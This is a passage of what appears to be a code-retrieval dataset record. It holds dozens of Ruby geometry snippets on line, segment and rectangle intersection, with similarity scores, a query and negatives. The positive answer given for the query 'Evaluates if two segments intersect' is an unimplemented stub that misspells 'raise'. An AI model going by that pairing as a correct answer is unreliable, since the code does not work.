Coord2.new(a1.x, b1.y)\n # Then we check if the point actually intersects\n bounds_b = bounds(b1.x, b2.x)\n return nil if b1.y < bounds_y[0] || b1.y > bounds_y[1]\n return nil if bounds_b[0] > bounds_x[0] || bounds_b[1] < bounds_x[1]\n end\n end\n\n ip\n end", "def crosses_line_string?(rhs)\n self_ints = SweeplineIntersector.new(segments).proper_intersections\n self_ints += SweeplineIntersector.new(rhs.segments).proper_intersections\n overlay_ints = SweeplineIntersector.new(segments + rhs.segments).proper_intersections\n\n (overlay_ints - self_ints).each do |int|\n s1s = int.s1.s\n s1e = int.s1.e\n s2s = int.s2.s\n s2e = int.s2.e\n return true unless [s1s, s1e, s2s, s2e].include?(int.point)\n end\n\n false\n end", "def line_intersect_rect?(line, rect)\n rect_to_lines(rect).each do |rect_line|\n return true if line_intersect_line?(line, rect_line)\n end\n\n false\n end", "def intersection(other)\n # If rects don't overlap, then the line segments can't intersect.\n # Note that this handles the paralle case, as well as the case\n # where the intersection is outside the line segments.\n return nil unless rect_overlaps?(other)\n det = @a * other.b - other.a * @b\n # Shouldn't happen, but just in case.\n # Note: Everyting's an integer so far.\n return nil if det == 0\n\n x_float = (other.b * @c - @b * other.c).to_f / det.to_f\n y_float = (@a * other.c - other.a * @c).to_f / det.to_f\n \n intersect = Point.new(x_float.round, y_float.round)\n if rect.contains(intersect) && other.rect.contains(intersect)\n return intersect\n else\n return nil\n end\n end", "def rec_intersection(rect1, rect2)\n x1 = [rect1[0][0],rect2[0][0]].max\n y1 = [rect1[0][1],rect2[0][1]].max\n y2 = [rect2[1][1],rect1[1][1]].min\n x2 = [rect2[1][0],rect1[1][0]].min\n if rect2[0][0] > rect1[1][0] || rect2[0][1] > rect1[1][1]\n return nil\n else\n return [[x1,y1],[x2,y2]]\n end\nend", "def onLine(c1,c2,buffer,c3)\n\n if equalCoordinates?(c1, c2)\n return equalCoordinates?(c1, c3) || buffer > getGeoDistance(c1, c3)\n end\n\n if equalCoordinates?(c1, c3)\n return true\n end\n\n # we get the difference Geodesic angles\n theta1 = getGeoAngle(c1,c2)\n theta2 = getGeoAngle(c1,c3)\n theta3 = theta2-theta1\n\n # buf buf\n # (--- c1 ----------------- c2 ---)\n # * |\n # H(c1-c3) * | H*Sin(theta3)\n # * |\n # c3\n hc1c3 = getGeoDistance(c1,c3)\n hc1c2 = getGeoDistance(c1,c2)\n #\n # if the point is with in a buffer's radius of C1 then it is on the line,\n # Otherwise, its distance from C1 must be less than the distance to C2\n # plus the buffer, and its distance to the C1-C2 line must be less than the buffer.\n # Furthermore this calculation only works if difference in angles is less than PI/2.\n # If the difference in angles is greater than that, then the point is not near\n # the line, unless it was within the buffer radius of C1.\n #\n result = hc1c3 < buffer || abs(theta3) < Math::PI/2 &&\n hc1c3 <= hc1c2 + buffer/2 && abs(Math.sin(theta3) * hc1c3) <= buffer/2\n\n return result\n end", "def check_endpoints(line1, line2, delta)\n if (line1.start_point.same?(line2.start_point) ||\n line1.start_point.same?(line2.end_point) ||\n line1.end_point.same?(line2.start_point) ||\n line1.end_point.same?(line2.end_point))\n return true\n end\n return false\nend", "def intersectWithSegmentAsLineResult seg\n self\n end", "def intersectWithSegmentAsLineResult seg\n self\n end", "def intersectWithSegmentAsLineResult seg\n self\n end", "def intersectWithSegmentAsLineResult seg\n self\n end", "def intersection(other)\n other = Point.new(other[0], other[1]) if other.is_a?(Array)\n\n # Other is a Point.\n if other.is_a?(Point)\n return [other] if self.contains?(other)\n return []\n end\n\n # Other is a LinearEntity\n if other.is_a?(LinearEntity)\n # break into cases based on whether\n # the lines are parallel, non-parallel intersecting, or skew\n rank = Point.affine_rank(self.p1, self.p2, other.p1, other.p2)\n if rank == 1\n # we're collinear\n return [other] if self.is_a?(Line)\n return [self] if other.is_a?(Line) \n \n if self.is_a?(Ray) && other.is_a?(Ray)\n return intersect_parallel_rays(self, other)\n end\n\n if self.is_a?(Ray) && other.is_a?(Segment)\n return intersect_parallel_ray_and_segment(self, other)\n end\n\n if self.is_a?(Segment) && other.is_a?(Ray)\n return intersect_parallel_ray_and_segment(other, self)\n end\n\n if self.is_a?(Segment) && other.is_a?(Segment)\n return intersect_parallel_segments(self, other)\n end\n\n elsif rank == 2\n # we're in the same plane\n l1 = Line.new(self.p1, self.p2)\n l2 = Line.new(other.p1, other.p2)\n\n # check to see if we're parallel. If we are, we can't\n # be intersecting, since the collinear case was already\n # handled\n return [] if l1.parallel_to?(l2)\n \n # Use Cramers rule:\n # https://en.wikipedia.org/wiki/Cramer%27s_rule\n det = l1.a * l2.b - l2.a * l1.b\n det = det\n x = (l1.b * l2.c - l1.c * l2.b) / det\n y = (l2.a * l1.c - l2.c * l1.a ) / det\n\n intersection_point = Point.new(x, y)\n\n # if we're both lines, we can skip a containment check\n return [intersection_point] if self.is_a?(Line) && other.is_a?(Line)\n \n if self.contains?(intersection_point) && other.contains?(intersection_point)\n return [intersection_point] \n end\n \n return []\n else\n # we're skew\n return []\n end\n end\n\n if other.respond_to?(:intersection)\n return other.intersection(self)\n end\n\n raise TypeError, \"Intersection between LinearEntity and #{ other.class } is not defined\"\n end", "def rec_intersection(rect1, rect2)\n\tx_min = [rect1[0][0],rect2[0][0]].max \n\tx_max = [rect1[1][0],rect2[1][0]].min \n\ty_min = [rect1[0][1],rect2[0][1]].max \n\ty_max = [rect1[1][1],rect2[1][1]].min \n\n\t(x_max < x_min) || (y_max < y_min) ? nil : [[x_min, y_min], [x_max, y_max]]\nend", "def line_line_intersect(pt_intersect, new_list, seg, new_seg)\n\n new_list << LineSeg.new(seg.pt1, pt_intersect)\n new_list << LineSeg.new(pt_intersect, seg.pt2)\n\n return [LineSeg.new(new_seg.pt1, pt_intersect), LineSeg.new(pt_intersect, new_seg.pt2)]\n\n end", "def intersect point1, point2, a1, b1, x1, x2\n a2 = (point2.latitude - point1.latitude)/(point2.longitude-point1.longitude)\n b2 = point1.latitude - a2*point1.longitude\n x = (b2-b1)/(a1-a2)\n x3 = point1.longitude < point2.longitude ? point1.longitude : point2.longitude\n x4 = point1.longitude > point2.longitude ? point1.longitude : point2.longitude\n x >= x1 && x <= x2 && x >= x3 && x <= x4\n end", "def test_add_intersection\n # Intersection at (1,1)\n canon = CanonicalLineSegList.new\n canon.add(LineSeg.new(p(0,0), p(2,2)))\n canon.add(LineSeg.new(p(0,2), p(2,0)))\n assert_equal(4, canon.line_segs.size)\n expect(canon, \n [\n LineSeg.new(p(0,0), p(1,1)), LineSeg.new(p(1,1), p(2,2)),\n LineSeg.new(p(0,2), p(1,1)), LineSeg.new(p(1,1), p(2,0))\n ]\n )\n \n end", "def ==(other)\n return false unless other.is_a?(Line)\n Point.is_collinear?(self.p1, other.p1, self.p2, other.p2)\n end", "def line x0, y0, x1, y1, c\n dx = (x1 - x0).abs\n sx = x0 < x1 ? 1 : -1\n dy = (y1 - y0).abs\n sy = y0 < y1 ? 1 : -1\n err = (dx > dy ? dx : -dy) / 2\n \n loop do\n set x0, y0, c\n break if x0 === x1 && y0 === y1\n e2 = err\n if e2 > -dx\n err -= dy\n x0 += sx\n end \n if e2 < dy\n err += dx\n y0 += sy \n end\n end \n end", "def overlap(first_rect, second_rect)\n a1 = first_rect[0]\n a2 = first_rect[1]\n b1 = second_rect[0]\n b2 = second_rect[1]\n\n if b1[0] < a2[0] && b1[1] < a2[1]\n return true\n else \n return false\n end\n\nend", "def cross(v1, v2)\n dx, dy = v2[0] - v1[0], v2[1] - v1[1]\n cr = [] # array containing intersections\n\n if dx == 0 and dy ==0 then\n\tnc = 0\n elsif dx == 0 then\n\tt = ( 0.0 - v1[1] ) / dy # y = 0\n\tx , y = v1[0] + t * dx, v1[1] + t * dy\n cr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[1] ) / dy # y = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n elsif dy == 0 then\n\tt = ( 0.0 - v1[0] ) / dx # x = 0\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[0] ) / dx # x = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n cr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n else\n\tt = ( 0.0 - v1[1] ) / dy # y = 0\n\tx , y = v1[0] + t * dx, v1[1] + t * dy\n cr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[1] ) / dy # y = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n\tt = ( 0.0 - v1[0] ) / dx # x = 0\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[0] ) / dx # x = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy \n cr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n end\n return cr\n end", "def rec_intersection(r1, r2)\n p1 = [[r1[0][0],r2[0][0]].max , [r1[0][1],r2[0][1]].max]\n p2 = [[r1[1][0],r2[1][0]].min , [r1[1][1],r2[1][1]].min]\n if p1[0] < p2[0] && p1[1] < p2[1]\n return [p1,p2]\n else\n return nil\n end\nend", "def rec_intersection(rect1, rect2)\n bot_x, bot_y = [rect1[0][0], rect2[0][0]].max, [rect1[0][1], rect2[0][1]].max\n top_x, top_y = [rect1[1][0], rect2[1][0]].min, [rect1[1][1], rect2[1][1]].min\n return nil if bot_x > top_x || bot_y > top_y\n [[bot_x, bot_y], [top_x, top_y]]\nend", "def intersects?(other)\n other.vertices.each do |vertex|\n return true if interior?(vertex)\n end\n false\n end", "def intersects?(r2)\n if @p2.x <= r2.p1.x or r2.p2.x <= @p1.x \n return false\n elsif @p2.y >= r2.p1.y or r2.p2.y >= @p1.y\n end\n return true\n end", "def intersect( v1, v2 )\n b1, b2 = bound( v1 ), bound( v2 )\n cr = []\n if b1 && b2 then\n\tres = 0\n elsif b1 then\n\tcr = cross( v1, v2 )\n\tres =1\n elsif b2 then \n\tcr = cross( v1, v2 )\n\tres =2\n else\n\tcr = cross( v1, v2 )\n\tif cr.size == 2 then\n\t res = 3\n\telse\n\t res = 4\n\tend\n end\n return res, cr\n end", "def segments_intersection(a, b, c, d)\n denominator = (b.y - a.y)*(d.x - c.x) - (a.x - b.x)*(c.y - d.y) \n return false if denominator == 0\n x = ( (b.x - a.x) * (d.x - c.x) * (c.y - a.y) + (b.y - a.y) * (d.x - c.x) * a.x - (d.y - c.y) * (b.x - a.x) * c.x ) / denominator\n y = -( (b.y - a.y) * (d.y - c.y) * (c.x - a.x) + (b.x - a.x) * (d.y - c.y) * a.y - (d.x - c.x) * (b.y - a.y) * c.y ) / denominator\n if (x - a.x) * (x - b.x) <= 0 && (y - a.y) * (y - b.y) <= 0 && (x - c.x) * (x - d.x) <= 0 && (y - c.y) * (y - d.y) <= 0 \n return true\n else\n return false\n end\n end", "def rec_intersection(rect1, rect2)\n x_min = [rect1[0][0], rect2[0][0]].max\n x_max = [rect1[1][0], rect2[1][0]].min\n\n y_min = [rect1[0][1], rect2[0][1]].max\n y_max = [rect1[1][1], rect2[1][1]].min\n\n return nil if ((x_max < x_min) || (y_max < y_min)) # no overlap\n return [[x_min, y_min], [x_max, y_max]]\nend", "def intersect?(r)\n @x < r.x + r.w && @x + @w > r.x && @y < r.y + r.h && @y + @h > r.y\n end", "def extended_segment_intersection?(ax, ay, bx, by, cx, cy, dx, dy)\n\treturn true if ((cx == ax) && (cy == ay)) || ((dx == ax) && (dy == ay)) || ((cx == bx) && (cy == by)) || ((dx == bx) && (dy == by))\n\t\t(cp(bx, by, cx, cy, ax, ay) != cp(bx, by, dx, dy, ax, ay)) || (cp(dx, dy, ax, ay, cx, cy) != cp(dx, dy, bx, by, cx, cy))\n\tend", "def res_include(x, y, res)\r\n res.each{|rx, ry| return true if x == rx && y == ry}\r\n return false\r\n end", "def intersects?(other)\n return false if separate? other\n return false if contained? other\n return false if coincident? other\n true\n end", "def tt_intersects?(*args)\n tt_range.intersects?(*args)\n end", "def terminus_terminus_intersect(pt_intersect, new_list, seg, new_seg)\n if (new_seg.pt1 == pt_intersect || new_seg.pt2 == pt_intersect) && \n (seg.pt1 == pt_intersect || seg.pt2 == pt_intersect)\n new_list << seg\n return true\n end\n return false\n end", "def is_left_to_union line, on_stop, changing_stop\n\tif line.index(on_stop) <= line.index(changing_stop)\n\t\ttrue\n\telse\n\t\tfalse\n\tend\nend", "def terminus_line_intersect(pt_intersect, new_list, seg, new_seg)\n\n # Is the intersect at one of +new_seg+ terminii?\n # If so, split +seg+ into two segs at pt_intersect.\n if pt_intersect == new_seg.pt1 || pt_intersect == new_seg.pt2\n new_list << LineSeg.new(seg.pt1, pt_intersect)\n new_list << LineSeg.new(pt_intersect, seg.pt2)\n return []\n end\n\n # Does a +seg+ terminus lie along *new_seg+?\n #\n # If so, add +seg+ to the +new_list+ and return the two part of the slit +new_seg+\n if pt_intersect == seg.pt1 || pt_intersect == seg.pt2\n new_list << seg\n return [LineSeg.new(new_seg.pt1, pt_intersect), LineSeg.new(pt_intersect, new_seg.pt2)]\n end\n\n return nil\n end", "def rect_intersection(r1, r2)\n return (r1.x + r1.width > r2.x && r1.x < r2.x + r2.width &&\n r1.y + r1.height > r2.y && r1.y < r2.y + r2.height)\n end", "def overlaps?(other); end", "def overlaps?(other); end", "def overlaps?(other); end", "def contains(x1,y1,x2,y2)\n @x1<=x1 && @y1<=y1 && x2<=@x2 && y2<=@y2\n end", "def similar_to?(other)\n raise TypeError, 'Must pass only LinearEntity objects.' unless other.is_a?(LinearEntity)\n \n l = Line.new(p1, p2)\n l.contains?(other)\n end", "def calculate_line(stop1, stop2)\n if @purple_line.include?(stop1) && @purple_line.include?(stop2)\n \"either\"\n elsif @purple_line.include?(stop1) && @blue_line_west.include?(stop2)\n \"blue\"\n elsif @purple_line.include?(stop1) && @red_line_only.include?(stop2)\n \"red\"\n elsif @red_line_only.include?(stop1)\n \"red\"\n elsif @blue_line_west.include?(stop1)\n \"blue\"\n end\n end", "def intersect(ray)\n # Must be overriden be subclasses\n end", "def checkSrepIntersection\n (0..$sreps.length-1).each do |j|\n (0..$sreps.length-1).each do |i|\n if i != j\n $sreps[j].checkIntersection($sreps[i])\n end\n end\n end\n end", "def intersect(boundingbox)\n end", "def overlap(first_rectangle, second_rectangle)\n\tfirst_rectangle_x1 = first_rectangle[0][0]\n\tfirst_rectanlge_y1 = first_rectangle[0][1]\n\tfirst_rectangle_x2 = first_rectangle[1][0]\n\tfirst_rectanlge_y2 = first_rectangle[1][1]\n\n\tsecond_rectangle_x1 = second_rectangle[0][0]\n\tsecond_rectanlge_y1 = second_rectangle[0][1]\n\tsecond_rectangle_x2 = second_rectangle[1][0]\n\tsecond_rectanlge_y2 = second_rectangle[1][1]\n\n\tif first_rectangle_x1 < second_rectangle_x2 && first_rectangle_x2 > second_rectangle_x1 && first_rectanlge_y1 < second_rectanlge_y2 && first_rectanlge_y2 > second_rectanlge_y1\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "def intersection(a,b)\n len1=a.length\n len2=b.length\n ctr1=0\n ctr2=0\n puts \"Intersection of the gives arrays:\"\n while (ctr1<len1 && ctr2<len2)\n if a[ctr1]==b[ctr2]\n print \"#{a[ctr1]} \"\n ctr1+=1\n ctr2+=1\n elsif a[ctr1]<b[ctr2]\n ctr1+=1\n else\n ctr2+=1\n end\n end\nend", "def crossing?(other)\n return false unless overlaps?(other)\n (@begin_pos <=> other.begin_pos) * (@end_pos <=> other.end_pos) == 1\n end", "def rec_intersection(rect1, rect2)\n\txmin = rect1[0][0] > rect2[0][0] ? rect1[0][0] : rect2[0][0]\n\txmax = rect1[1][0] > rect2[1][0] ? rect2[1][0] : rect1[1][0]\n\tymin = rect1[0][1] > rect2[0][1] ? rect1[0][1] : rect2[0][1]\n\tymax = rect1[1][1] > rect2[1][1] ? rect2[1][1] : rect1[1][1]\n\nreturn nil if ((xmax < xmin) || (ymax < ymin))\nreturn [ [xmin, ymin], [xmax, ymax] ]\nend", "def intersect?(range1,range2)\nif range1.begin < range2.begin\n if range1.end < range2.begin\n nil\n else\n (range2.begin..range1.end)\n end\nelse\n if range2.end < range1.begin\n nil\n else\n (range1.begin..range2.end)\n end\nend\nend", "def vt_intersects?(*args)\n vt_range.intersects?(*args)\n end", "def match_lines lines\n lines.each do |text|\n return true if self.match_text( text )\n end\n false\n end", "def is_obstructed?(x1, y1, x2, y2, bad)\n bad.include?(\"#{x1} #{y1} #{x2} #{y2}\") || bad.include?(\"#{x2} #{y2} #{x1} #{y1}\")\nend", "def match?(other_line)\n (key_tokens - other_line.key_tokens) == [] || (other_line.key_tokens - key_tokens) == []\n end", "def overlaps?(other)\n cover?(other.begin) || other.cover?(first)\n end", "def intersect _obj, _args\n \"_obj intersect _args;\" \n end", "def intersectsegment(ax, ay, bx, by, ix, iy, px, py)\n dx, dy = bx - ax, by - ay\n ex, ey = px - ix, py - iy\n denominator = (dx*ey) - (dy*ex)\n return 0 if denominator == 0\n t = (ix*ey + ex*ay - ax*ey - ex*iy) / denominator\n return 0 if t < 0 || t >= 1\n u = (dx*ay - dx*iy - dy*ax + dy*ix) / denominator\n return 0 if u < 0 || u >= 1\n return 1\n end", "def find_lines mta, start_station, end_station\n lines = [[],[]]\n mta.each do |line, stations|\n lines[0].push line if stations.include?(start_station)\n lines[1].push line if stations.include?(end_station)\n end\n\n if lines[0] & lines[1] != []\n common_line = lines[0] & lines[1]\n return [ common_line[0], common_line[0] ] # The 1st line both stations are on\n else\n return [ lines[0][0], lines[1][0] ] # The 1st line the staions are found on\n end\nend", "def approxmatching(a,b)\n\treturn (a==b)\nend", "def love_rectangle(rect_1, rect_2)\n ranges_1 = make_range(rect_1)\n ranges_2 = make_range(rect_2)\n\n match_x = matching_range(ranges_1[:x], ranges_2[:x])\n match_y = matching_range(ranges_1[:y], ranges_2[:y])\n\n if [match_x.empty?, match_y.empty?].any?\n \"No match!\"\n else\n make_output(match_x, match_y)\n end\nend", "def intersect(ray)\n return nil # FIX ME !!\n end", "def intersects?(other)\n if !(self.x2 < other.x1) &&\n !(other.x2 < self.x1) &&\n !(self.y2 < other.y1) &&\n !(other.y2 < self.y1) &&\n !(self.z2 < other.z1) &&\n !(other.z2 < self.z1)\n return true\n else\n return false\n end\n end", "def intersection(a, b)\n negate(union(negate(a), negate(b)))\n end", "def intersect(p1, v2, p2)\n # If this vector and v2 doesn't intersect, return early.\n return :no_intersect unless intersect?(p1, v2, p2)\n\n # Calculate t2\n # x1 + a1 * t1 = x2 + a2 * t2\n # t1 = (x1 + a2 * t2 + x2) / a1\n # y1 + b1 * (x1 + a2 * x + x2) / a1 = y2 + b2 * x\n # t2 = (a1 * y1 - a1 * y2 + b1 * x1 + b1 * x2) / (a1 * b2 - a2 * b1)\n t2 = (to_a[0] * p1.y - to_a[0] * p2.y + to_a[1] * p1.x + to_a[1] * p2.x) /\n (to_a[0] * v2.to_a[1] - v2.to_a[0] * to_a[1])\n\n # Use t2 to calculate the intersection\n [\n p2.x + v2.to_a[0] * t2,\n p2.y + v2.to_a[1] * t2,\n p2.z + v2.to_a[2] * t2,\n ]\n end", "def intersect?(obj)\n obj.x + obj.w > @x && obj.x < @x + @w &&\n (@inverted ? obj.y < get_y(obj) && obj.y + obj.h > @y : obj.y > get_y(obj) && obj.y < @y + @h)\n end", "def overlap?(epsa, epsb)\r\n return false if epsa[1] < epsb[0] || epsa[0] > epsb[1]\r\n true\r\nend", "def segment_intersection(seg1, seg2)\n x1, y1, x2, y2 = seg1\n x3, y3, x4, y4 = seg2\n line1 = segment_to_line(*seg1)\n line2 = segment_to_line(*seg2)\n\n xmin = [[x1, x2].min, [x3, x4].min].max\n xmax = [[x1, x2].max, [x3, x4].max].min\n ymin = [[y1, y2].min, [y3, y4].min].max\n ymax = [[y1, y2].max, [y3, y4].max].min\n\n x, y = line_intersection(line1, line2)\n return nil unless x && y\n\n if x >= xmin && x <= xmax && y >= ymin && y <= ymax\n return [x, y]\n end\n\n nil\n end", "def rectangle_inclusion_lambda(x1, y1, x2, y2)\n # take top left point and bottom right one\n x1, x2 = x2, x1 if x1 > x2\n y1, y2 = y2, y1 if y1 > y2\n\n ->(x, y) { (x1..x2).cover?(x) && (y1..y2).cover?(y) }\n end", "def intersects?(other)\n !!intersection_with(other)\n end", "def lines_equal(lines, other_lines)\n return false unless lines.length == other_lines.length\n lines.each_with_index.map do |line, i|\n other_line = other_lines[i]\n other_line.is_a?(Regexp) ? line.to_s =~ other_line : line.to_s == other_line\n end.all?\n end", "def overlapInterval (array1, array2)\n\t@answer = false\n\t@a = array1[0] <= array2[0]\n\t@b = array1[1] > array2[0]\n\t@c = array1[0] > array2[0]\n\t@d = array1[0] < array2[1]\n\tif ((@a&&@b)||(@c&&@d))\n\t\t@answer = true\n\tend\n\t@answer\n\t\nend", "def in?(px, py)\n ix, iy = @max+100, @max+100\n nbintersections = 0\n @points.each_index do |index|\n ax, ay = *@points[index]\n bx, by = *@points[(index + 1) % @points.length]\n nbintersections += intersectsegment(ax, ay, bx, by, ix, iy, px, py)\n end\n return (nbintersections%2 == 1)\n end", "def intersect? (range1,range2)\n if range1.begin < range2.begin\n if range1.end < range2.begin\n nil\n else\n (range2.begin..range1.end)\n end\n else\n if range2.end < range1.begin\n nil\n else\n (range1.begin..range2.end)\n end\n end\nend", "def intersects?(other)\n self_index = dimensions(self.vertices)\n other_index = dimensions(other.vertices)\n\n intersection = {}\n intersection[:x] = self_index[:x] & other_index[:x]\n intersection[:y] = self_index[:y] & other_index[:y]\n intersection[:z] = self_index[:z] & other_index[:z]\n\n intersection.value?([]) ? false : true\n end" ]
[ "0.8247894", "0.7772005", "0.7628501", "0.74305266", "0.7381992", "0.71186286", "0.7068122", "0.70639986", "0.70359206", "0.68649346", "0.682441", "0.682441", "0.682441", "0.67931545", "0.67787343", "0.67739165", "0.6758678", "0.67294383", "0.67094505", "0.66632444", "0.6661247", "0.66518074", "0.65887874", "0.6528176", "0.651519", "0.651519", "0.65122527", "0.6511957", "0.6506678", "0.6499642", "0.64751834", "0.64603794", "0.6459837", "0.6408302", "0.6408098", "0.6408098", "0.6408098", "0.63977087", "0.6356271", "0.6342971", "0.6324373", "0.62856257", "0.62590516", "0.6196756", "0.6189121", "0.61861247", "0.61638325", "0.6156905", "0.61492544", "0.614017", "0.61154205", "0.608754", "0.60817343", "0.6057939", "0.6039438", "0.6039038", "0.60304844", "0.60235953", "0.6020363", "0.60184246", "0.59999746", "0.5984723", "0.5954597", "0.5954597", "0.5954597", "0.59529036", "0.59352934", "0.59279406", "0.5918739", "0.5914087", "0.5908118", "0.5897291", "0.58966416", "0.5886317", "0.5878134", "0.5867026", "0.5861274", "0.5837569", "0.58218575", "0.57988703", "0.5789297", "0.57827", "0.57737994", "0.57676417", "0.57650083", "0.5764181", "0.57545954", "0.57520384", "0.57503635", "0.5743996", "0.5743041", "0.5742157", "0.57396114", "0.57309705", "0.5721948", "0.5711215", "0.5710785", "0.57022333", "0.56871486", "0.56832165" ]
0.6278195
42
Evaluates if two segments intersect
def bbpSegmentIntersect(point_a, point_b, point_c, point_d) rise 'Method not implemented' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def segments_intersect?(line_one, line_two)\n x1 = line_one[:x]\n y1 = line_one[:y]\n x2 = line_one[:x2]\n y2 = line_one[:y2]\n\n x3 = line_two[:x]\n y3 = line_two[:y]\n x4 = line_two[:x2]\n y4 = line_two[:y2]\n\n uA = ((x4-x3)*(y1-y3) - (y4-y3)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n uB = ((x2-x1)*(y1-y3) - (y2-y1)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n\n uA >= 0 && uA <= 1 && uB >= 0 && uB <= 1\n end", "def segments_intersection(a, b, c, d)\n denominator = (b.y - a.y)*(d.x - c.x) - (a.x - b.x)*(c.y - d.y) \n return false if denominator == 0\n x = ( (b.x - a.x) * (d.x - c.x) * (c.y - a.y) + (b.y - a.y) * (d.x - c.x) * a.x - (d.y - c.y) * (b.x - a.x) * c.x ) / denominator\n y = -( (b.y - a.y) * (d.y - c.y) * (c.x - a.x) + (b.x - a.x) * (d.y - c.y) * a.y - (d.x - c.x) * (b.y - a.y) * c.y ) / denominator\n if (x - a.x) * (x - b.x) <= 0 && (y - a.y) * (y - b.y) <= 0 && (x - c.x) * (x - d.x) <= 0 && (y - c.y) * (y - d.y) <= 0 \n return true\n else\n return false\n end\n end", "def extended_segment_intersection?(ax, ay, bx, by, cx, cy, dx, dy)\n\treturn true if ((cx == ax) && (cy == ay)) || ((dx == ax) && (dy == ay)) || ((cx == bx) && (cy == by)) || ((dx == bx) && (dy == by))\n\t\t(cp(bx, by, cx, cy, ax, ay) != cp(bx, by, dx, dy, ax, ay)) || (cp(dx, dy, ax, ay, cx, cy) != cp(dx, dy, bx, by, cx, cy))\n\tend", "def intersectsegment(ax, ay, bx, by, ix, iy, px, py)\n dx, dy = bx - ax, by - ay\n ex, ey = px - ix, py - iy\n denominator = (dx*ey) - (dy*ex)\n return 0 if denominator == 0\n t = (ix*ey + ex*ay - ax*ey - ex*iy) / denominator\n return 0 if t < 0 || t >= 1\n u = (dx*ay - dx*iy - dy*ax + dy*ix) / denominator\n return 0 if u < 0 || u >= 1\n return 1\n end", "def intersectWithSegmentAsLineResult seg\n # self is the intersection \n self\n end", "def rec_intersection(rect1, rect2)\n x1 = [rect1[0][0],rect2[0][0]].max\n y1 = [rect1[0][1],rect2[0][1]].max\n y2 = [rect2[1][1],rect1[1][1]].min\n x2 = [rect2[1][0],rect1[1][0]].min\n if rect2[0][0] > rect1[1][0] || rect2[0][1] > rect1[1][1]\n return nil\n else\n return [[x1,y1],[x2,y2]]\n end\nend", "def intersectWithSegmentAsLineResult seg\n self\n end", "def intersectWithSegmentAsLineResult seg\n self\n end", "def intersectWithSegmentAsLineResult seg\n self\n end", "def intersect?(range1,range2)\nif range1.begin < range2.begin\n if range1.end < range2.begin\n nil\n else\n (range2.begin..range1.end)\n end\nelse\n if range2.end < range1.begin\n nil\n else\n (range1.begin..range2.end)\n end\nend\nend", "def rec_intersection(rect1, rect2)\n\tx_min = [rect1[0][0],rect2[0][0]].max \n\tx_max = [rect1[1][0],rect2[1][0]].min \n\ty_min = [rect1[0][1],rect2[0][1]].max \n\ty_max = [rect1[1][1],rect2[1][1]].min \n\n\t(x_max < x_min) || (y_max < y_min) ? nil : [[x_min, y_min], [x_max, y_max]]\nend", "def overlap(first_rect, second_rect)\n a1 = first_rect[0]\n a2 = first_rect[1]\n b1 = second_rect[0]\n b2 = second_rect[1]\n\n if b1[0] < a2[0] && b1[1] < a2[1]\n return true\n else \n return false\n end\n\nend", "def segment_segment_intersection(ax, ay, bx, by, cx, cy, dx, dy)\n\treturn false if ((cx == ax) && (cy == ay)) || ((dx == ax) && (dy == ay)) || ((cx == bx) && (cy == by)) || ((dx == bx) && (dy == by))\n\t\t#(self.cp(bx, by, cx, cy, ax, ay) != self.cp(bx, by, dx, dy, ax, ay)) && (self.cp(dx, dy, ax, ay, cx, cy) != self.cp(dx, dy, bx, by, cx, cy))\n\t\t(self.class.cp(bx, by, cx, cy, ax, ay) != self.class.cp(bx, by, dx, dy, ax, ay)) && (self.class.cp(dx, dy, ax, ay, cx, cy) != self.class.cp(dx, dy, bx, by, cx, cy))\n\tend", "def segment_intersection(seg1, seg2)\n x1, y1, x2, y2 = seg1\n x3, y3, x4, y4 = seg2\n line1 = segment_to_line(*seg1)\n line2 = segment_to_line(*seg2)\n\n xmin = [[x1, x2].min, [x3, x4].min].max\n xmax = [[x1, x2].max, [x3, x4].max].min\n ymin = [[y1, y2].min, [y3, y4].min].max\n ymax = [[y1, y2].max, [y3, y4].max].min\n\n x, y = line_intersection(line1, line2)\n return nil unless x && y\n\n if x >= xmin && x <= xmax && y >= ymin && y <= ymax\n return [x, y]\n end\n\n nil\n end", "def terminus_terminus_intersect(pt_intersect, new_list, seg, new_seg)\n if (new_seg.pt1 == pt_intersect || new_seg.pt2 == pt_intersect) && \n (seg.pt1 == pt_intersect || seg.pt2 == pt_intersect)\n new_list << seg\n return true\n end\n return false\n end", "def intersectWithSegmentAsLineResult seg\n self\n end", "def overlaps(first, second)\n return first.start.between?(second.start, second.end) ||\n first.end.between?(second.start, second.end) ||\n second.start.between?(first.start, first.end) ||\n second.end.between?(first.start, first.end)\nend", "def intersects?(other)\n return false if separate? other\n return false if contained? other\n return false if coincident? other\n true\n end", "def intersection(another_segment)\n return TestHalfEdge.he_intersection(@start,@ending,another_segment.start,\n another_segment.ending)\n end", "def intersect? (range1,range2)\n if range1.begin < range2.begin\n if range1.end < range2.begin\n nil\n else\n (range2.begin..range1.end)\n end\n else\n if range2.end < range1.begin\n nil\n else\n (range1.begin..range2.end)\n end\n end\nend", "def overlaps?(other)\n cover?(other.begin) || other.cover?(first)\n end", "def overlapInterval (array1, array2)\n\t@answer = false\n\t@a = array1[0] <= array2[0]\n\t@b = array1[1] > array2[0]\n\t@c = array1[0] > array2[0]\n\t@d = array1[0] < array2[1]\n\tif ((@a&&@b)||(@c&&@d))\n\t\t@answer = true\n\tend\n\t@answer\n\t\nend", "def overlaps?(other); end", "def overlaps?(other); end", "def overlaps?(other); end", "def 